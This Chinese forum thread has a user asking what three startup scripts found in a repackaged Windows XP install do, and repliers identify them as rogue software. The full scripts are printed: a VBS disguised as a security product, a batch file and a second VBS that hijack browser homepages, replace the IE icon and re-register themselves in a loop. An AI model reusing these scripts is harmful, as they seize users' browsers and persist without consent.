[已解决]ghost版本的xp系统启动批处理起什么作用？

ygqiang

装了1个ghost版本的xp系统。

在注册表里的run启动项目里面，有个 36O安全卫士.vbs。这个文件路径是C:\WINDOWS  


36O安全卫士.vbs文件内容是：

1. 
   
2. 
   
3. on error resume next
   
4. DIM objShell
   
5. set objShell=wscript.createObject("wscript.shell")
   
6. iReturn=objShell.Run("cmd.exe /C C:\WINDOWS\sys.bat", 0, TRUE)
   
7. 
   
8. 
   
9. 
   

复制代码

sys.bat文件内容是：

1. 
   
2. 
   
3. 
   
4. @reg delete "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /f
   
5. @reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.5208.me/?5" /f
   
6. @reg add "HKEY_USERs\.DEFAULT\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.5208.me/?5" /f
   
7. @reg add "HKEY_USERs\S-1-5-18\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.5208.me/?5" /f
   
8. @reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v "Favorites" /t REG_EXPAND_SZ   /d "C:\Documents and Settings\Administrator\Favorites"
   
9. @reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v "Personal" /t REG_EXPAND_SZ /d "C:\Documents and Settings\Administrator\My Documents"
   
10. @reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v "Desktop" /t REG_EXPAND_SZ /d "C:\Documents and Settings\Administrator\桌面"
    
11. wscript.exe C:\WINDOWS\s.vbs
    
12. attrib C:\WINDOWS\RocketDock\Settings.ini +s +r +h
    
13. @reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\run" /f /v "RocketDock" /t REG_SZ /d "C:\WINDOWS\RocketDock\RocketDock.exe"
    
14. copy "C:\WINDOWS\zm" "C:\Documents and Settings\All Users\桌面" /y
    
15. del /f /s /q "%appdata%\Microsoft\Internet Explorer\Quick Launch\*.url"
    
16. del /f /s /q "%appdata%\Microsoft\Internet Explorer\Quick Launch\*.lnk"
    
17. copy "C:\WINDOWS\quick" "%appdata%\Microsoft\Internet Explorer\Quick Launch" /y
    
18. reg delete "HKEY_CLASSES_ROOT\InternetShortcut" /v IsShortcut /f
    
19. copy "C:\WINDOWS\Favorites" "c:\Documents and Settings\Administrator\Favorites" /y  
    
20. copy "C:\WINDOWS\Favorites" "c:\Documents and Settings\All Users\Favorites" /y  
    
21. @reg delete "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions" /f
    
22. regedit -s C:\WINDOWS\gjl.reg
    
23. copy "C:\WINDOWS\TheWorld\Internet Explorer.url" "C:\Documents and Settings\All Users\「开始」菜单\程序" /y  
    
24. @echo off
    
25. :loop
    
26. wscript.exe C:\WINDOWS\,.vbs
    
27. @reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\run" /f /v "36O安全卫士" /t REG_SZ /d "C:\WINDOWS\36O安全卫士.vbs"
    
28. ping 127.1 -n 10 >nul 2>nul
    
29. goto loop
    
30. 
    
31. 
    

复制代码

C:\WINDOWS  下面还有个,.vbs，内容是：

1. 
   
2. 
   
3. on error resume next
   
4. DIM objShell,Fso,TxtFl,Str,re
   
5. Set objShell = CreateObject("WScript.Shell")
   
6. objShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon",1,"REG_DWORD"
   
7. Set Fso = CreateObject("Scripting.FileSystemObject")
   
8. Set TxtFl = Fso.OpenTextFile ("C:\Documents and Settings\Administrator\Application Data\360se\360SE.ini",1,False)
   
9. Set re = new RegExp
   
10. re.Pattern = "\s+HomePage=([\S\s]*?)\s+"
    
11. re.Global = true
    
12. re.IgnoreCase = true
    
13. Str = re.Replace ( TxtFl.ReadAll,vbNewLine+"HomePage=http://www.2345li.com/?3"+vbNewLine)
    
14. TxtFl.Close
    
15. Set TxtFl = Fso.OpenTextFile ("C:\Documents and Settings\Administrator\Application Data\360se\360SE.ini",2,False)
    
16. TxtFl.Write Str
    
17. TxtFl.Close
    
18. 
    
19. Set TxtFl = Fso.OpenTextFile ("C:\Documents and Settings\Administrator\Application Data\SogouExplorer\Config.xml",1,True)
    
20. Set re = new RegExp
    
21. re.Pattern = "homepage=""([\S\s]*?)"""
    
22. re.Global = true
    
23. re.IgnoreCase = true
    
24. Str = re.Replace ( TxtFl.ReadAll,"homepage=""http://www.2345li.com/?3""")
    
25. re.Pattern = "homepagetype=""([\S\s]*?)"""
    
26. Str = re.Replace ( Str,"homepagetype=""3""")
    
27. TxtFl.Close
    
28. Set TxtFl = Fso.OpenTextFile ("C:\Documents and Settings\Administrator\Application Data\SogouExplorer\Config.xml",2,True)
    
29. TxtFl.Write Str
    
30. TxtFl.Close
    
31. 
    
32. 
    

复制代码

ygqiang

请教下，这3个文件，都是起什么作用的？谢谢

Demon

起到流氓脚本的作用。

lxzzr

具备流氓性质...至少我看见会删掉的...

ygqiang

用360安全卫士杀掉的话，桌面就没有IE图标了啊。

CrLf

第一个脚本启动第二脚本
第二个脚本改主页并把第一个脚本添加到启动项
第三个脚本改主页并创建伪装ie图标

貌似这样，畜生写的（对流氓脚本的作者不用客气）。

Hello123World

你叫360情何以堪，那可是个老流氓变得。